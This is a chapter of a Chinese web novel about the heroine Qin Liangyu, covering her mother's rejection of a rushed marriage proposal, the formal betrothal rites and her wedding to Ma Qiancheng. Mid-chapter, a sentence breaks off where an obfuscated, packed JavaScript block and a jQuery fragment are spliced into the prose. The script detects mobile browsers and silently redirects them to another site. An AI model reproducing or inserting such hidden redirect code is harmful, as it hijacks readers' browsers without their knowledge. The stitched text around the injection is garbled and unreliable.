8.秦母阻婚为良玉 三书六礼不能废

作品:《女将秦良玉

    秦母和周妈站在不远处,像是专门在等她。


    “阿娘。”秦良玉立马跑上前,挽住秦母的胳膊。


    秦母拍了拍秦良玉的手,望向对面的马千乘。


    一身白衣,长相儒雅,透着股书生气,瞧着倒不错,只是身体太过单薄了些。


    “阿娘。”秦邦屏等人纷纷躬身行礼。


    “秦伯母。”马千乘也行礼道。


    秦母点了点头,并未说话,转身向正厅走去。


    几兄弟面面相觑,也忙跟上。


    秦父看到秦母,神情掩不住得激动,立马起身去迎。


    “夫人怎么来了?”秦父扶着秦母上座,关心道。


    秦母礼佛,已有多年未踏出祠堂一步。


    当年秦邦翰成亲,也不过才出佛堂半个时辰。


    今日也并非是什么大日子,怎么突然过来了?


    “四儿定亲,我怎能不在。”


    秦母坐下后,望向厅中的人,视线一一扫过众人,忽然问:


    “未来亲家公亲家母怎么不在?”


    秦母不知石硅的情况,她只知对方即是来提亲,父母或者长辈便该与媒人同来。


    男方出现已是不合规矩,家中长辈更无一人前来。


    若是真心求娶,怎会不知?


    “家母远游不在,家父养伤在床,不便出门,我的婚事由我全权做主。”马千乘上前一步解释,又从袖中掏出一封信,道:


    “这是家父的亲笔信,马家真心要与秦家结亲,求娶秦四小姐。”


    秦邦屏从马千乘手中接过信,呈给秦母。


    秦母接过信,看也不看,直接放到桌上,便道:


    “即是如此,马公子与家中长辈择日再来吧。”


    无家中长辈在场,仅凭一纸书信便想提亲,万万不行。


    秦母说完,厅中无一人敢说话,媒人起身刚要开口,秦父望了她一眼,媒人又乖乖坐下,摇起了扇子。


    马千乘看了眼秦父,又望向秦母,拱手躬身道:


    “是晚辈唐突了,晚辈这就回去重新准备。”


    说完,马千乘对秦父又行了一礼,便退了出去。


    媒人说了句场面话,也跟着一起出去了。


    “还是阿娘厉害,一句话就把人打发走了。”


    秦民屏看着马千乘的背影,觉得特别解气。


    厅中只剩下自家人,秦父不解地问:


    “夫人这是?”


    他原以为今日能把亲定下来,却没想到他这么快就走了?


    “想娶我的女儿,哪有那么容易。”秦母说得缓慢,却不容置疑。


    昨日才来探的口风,今日就要提亲,何来的诚意?


    “石硅前段时间才发生过内乱......”秦父本想解释,却被秦母打断:


    “你是四儿的父亲,还是马家的宗亲?”


    秦父张了张嘴,最后叹了口气,道:


    “这次的确是马千乘做的不对,太心急了。”


    今日如果不是秦母出现,两人的婚事怕是已经定下了。


    “这几日四儿与我住在明溪院。”秦母起身握住秦良玉的手,头也不回地出了大厅。


    “那玉儿的亲事定在何日?”秦父忙起身,跟在秦母身后问。


    秦母停下,望了秦父一眼。


    秦父讪讪地笑了一下,没再问,看着秦母和秦良玉走远,也没再跟上。


    “阿娘是什么意思?”秦邦翰不解道。


    秦父摇了摇头,他也不懂,猜道:“估计是舍不得女儿。”


    秦民屏把玩着发带,自信道:


    “才不是,阿娘是在为姐姐考虑。”


    “嗯?”秦邦屏和秦邦翰也望向秦民屏。


    “大哥和二哥当年娶亲,他们与两位嫂子见过几面,心意互通,双方父母也同意,过了几日后才上门提亲,以示对女方的尊重。


    婚后我们秦家对两位嫂嫂也都极为看中,哪有像马千乘那么急的。


    昨日才得了阿爹的信,今日便带着媒婆上门了。


    知道的以为是娶亲,不知道的还以为是纳妾呢。


    娶嫡妻,哪有那么快的?


    便是所有东西都准备好了,至少也得大半年。”


    原本秦民屏看马千乘就不顺眼,说起来更是愤愤不平。


    秦父恍然大悟,当年两个儿子的婚事是秦老夫人操办,他并未经手,也没太注意其中的细节。


    今日若不是秦母突然过来拦住了,往后他怕是会后悔一生。


    明溪院。


    “阿娘是不喜欢马千乘吗?”秦良玉问。


    “那孩子看着不错,是个良人。”秦母摇了摇头。


    “那为何?”秦良玉问。


    “以后你为人母就懂了。”秦母拍了拍秦良玉的手,并没有多说,拉着她往花园走去。


    还未走近,秦良玉便闻到了葡萄的香味。


    花园里葡萄架上的葡萄已经熟透了,各个圆润饱满。


    “这葡萄能吃了呀?”秦良玉面露喜色,又转头望向梅花,道:


    “梅花,你去告诉大哥二哥他们,明日来摘葡萄。”


    “是。”梅花应声离开。


    秦良玉松开秦母,走到桌前,将桌上的糕点倒进同一个盘中,拿着盘子去摘葡萄。


    秦母坐在桌前,笑望着秦良玉。


    在她的印象中,秦良玉还是向她伸手要抱抱的娃娃,转眼间竟已经能嫁人了。


    “阿娘,今年的葡萄好甜呀。”秦良玉端了一盘的葡萄,坐在秦母的旁边,拿起一个,用帕子擦了擦,直接就吃了。


    “周妈。”秦母道。


    “是,夫人。”周妈端起盘子去厨房清洗。


    秦良玉眼巴巴地望着,又咂了咂嘴,回味一下口中的甜味。


    秦母笑了笑道:


    “你嫁娶石硅也好,土家人不似咱们汉人,没那么多繁杂的礼仪,你这性子,去了石硅也不会吃亏。”


    “以你女儿的能力,去哪儿都不会让自己吃亏的,阿娘放心吧。”秦良玉道。


    “也是。”秦母点头道。


    没一会儿,周妈端着洗好的葡萄来了,托盘上还有一碗白粥,几碟小菜。


    秦良玉闻着饭香,也不再吃葡萄,端起白粥就着小菜,一会儿便将饭菜扫荡一空。


    吃饱了,秦良玉也没再碰葡萄。


    周妈拿来剪刀,秦母起身又去修剪花枝,秦良玉跟在她的身后浇水。


    两人忙了一上午,午饭便直接在院中的石桌上吃。


    简单的三菜一汤,虽然全是素食,秦良玉却吃得级开心。


    次日,秦良玉刚起身出门,秦邦屏等人已经在葡萄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13947096|147744||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    架下摘葡萄了。


    秦良玉捋了捋袖子,把裙子下摆也塞进腰带上,去架下接葡萄。


    院中的葡萄虽不多,但每年也能摘下几大筐。


    留下够吃的,其余全部用来酿葡萄酒。


    秦良玉酿酒的功夫一绝,酿出的葡萄酒,甘爽香甜,每每开封,都争抢一空。


    葡萄酒酿好之后,马千乘又来了。


    秦良玉换了身衣服,与秦母一同去前厅。


    与他同来的,还有一对夫妇,衣着朴素,坐在两侧的椅上。


    见他们进来,忙起身。


    “秦伯父,秦伯母。”


    马千乘行礼后,抬手介绍两人,道:


    “这是我的三叔、三婶。”


    两家人寒暄客套之后,各自坐下。


    他们虽不是马千乘的父母,但叔公也算长辈,也合乎礼仪。


    这次秦母没再出声阻拦,两家相谈甚欢。


    一阵欢声笑语中,媒人问了秦良玉的八字。


    秦母从袖中掏出一个庚帖,道:


    “这是四儿的生辰八字,回去后置于祠堂灵安前。”


    马千乘立马上前双手接过庚帖。


    媒人笑着解释道:


    “这是我们汉人六礼中的第二礼问名,俗称合八字。


    女方的生辰八字放在祖宗牌位前占卜,若是卦象为吉,再送了你的八字过来,放到秦家的祠堂。


    家中三日无事,说明两家的列祖列宗都同意你们的婚事,这便是第三礼纳吉。”


    媒人又为马千乘解释了一遍六礼。


    马千乘特意请的汉人媒人,之前已了解过三书六礼,只是还不大熟悉。


    经媒人的提醒,他知道到这一步,说明秦父秦母同意了这门婚事。


    “多谢伯母,伯父。”马千乘又向秦父秦母行了一礼。


    秦父秦母相视一笑。


    秦良玉对她的婚事,却毫不在意,之后的事她也再未到场,每日陪秦母在明溪院念佛修草。


    若不是秦民屏来,她甚至不知自己的婚期定在了明年三月。


    三月,春上枝头,万物候新。


    秦良玉着一身喜服,坐在镜前,听着外面的锣鼓炮仗声,知道迎亲队伍已从祖庙回来了。


    “四儿。”秦母双手放在秦良玉的肩上,千言万语都藏在了这一声轻唤中。


    “阿娘放心,三日后,女儿便回来看您了。”秦良玉转身仰起头,望向秦母,笑着道。


    秦母眼眶湿润,点了点头,给秦良玉盖上了红盖头,扶她起身。


    媒人上前搀着秦良玉的另一边,边走边说吉利话。


    到府门前,秦邦屏抱起秦良玉,稳稳地坐在轿中。


    随后上马,与秦邦翰、秦民屏并骑,护在花轿的后面。


    下人抬着嫁妆,从秦府也陆陆续续启程,鼓乐齐鸣,红妆遍地。


    直到晚间,所有嫁妆才全部进了马府后院。


    喜房里,媒人和侍女退下后,只剩下秦良玉和马千乘两人。


    喝完合卺酒后,马千乘又倒了一杯,一饮而尽,随后走到秦良玉的面前,像是下定了决心,拱手向前,诚心道:


    “秦姑娘,我有话和你说。”


    秦良玉抬起眼,与马千乘平视,随后慢慢站起身,道:


    “正巧,我也有话相告。”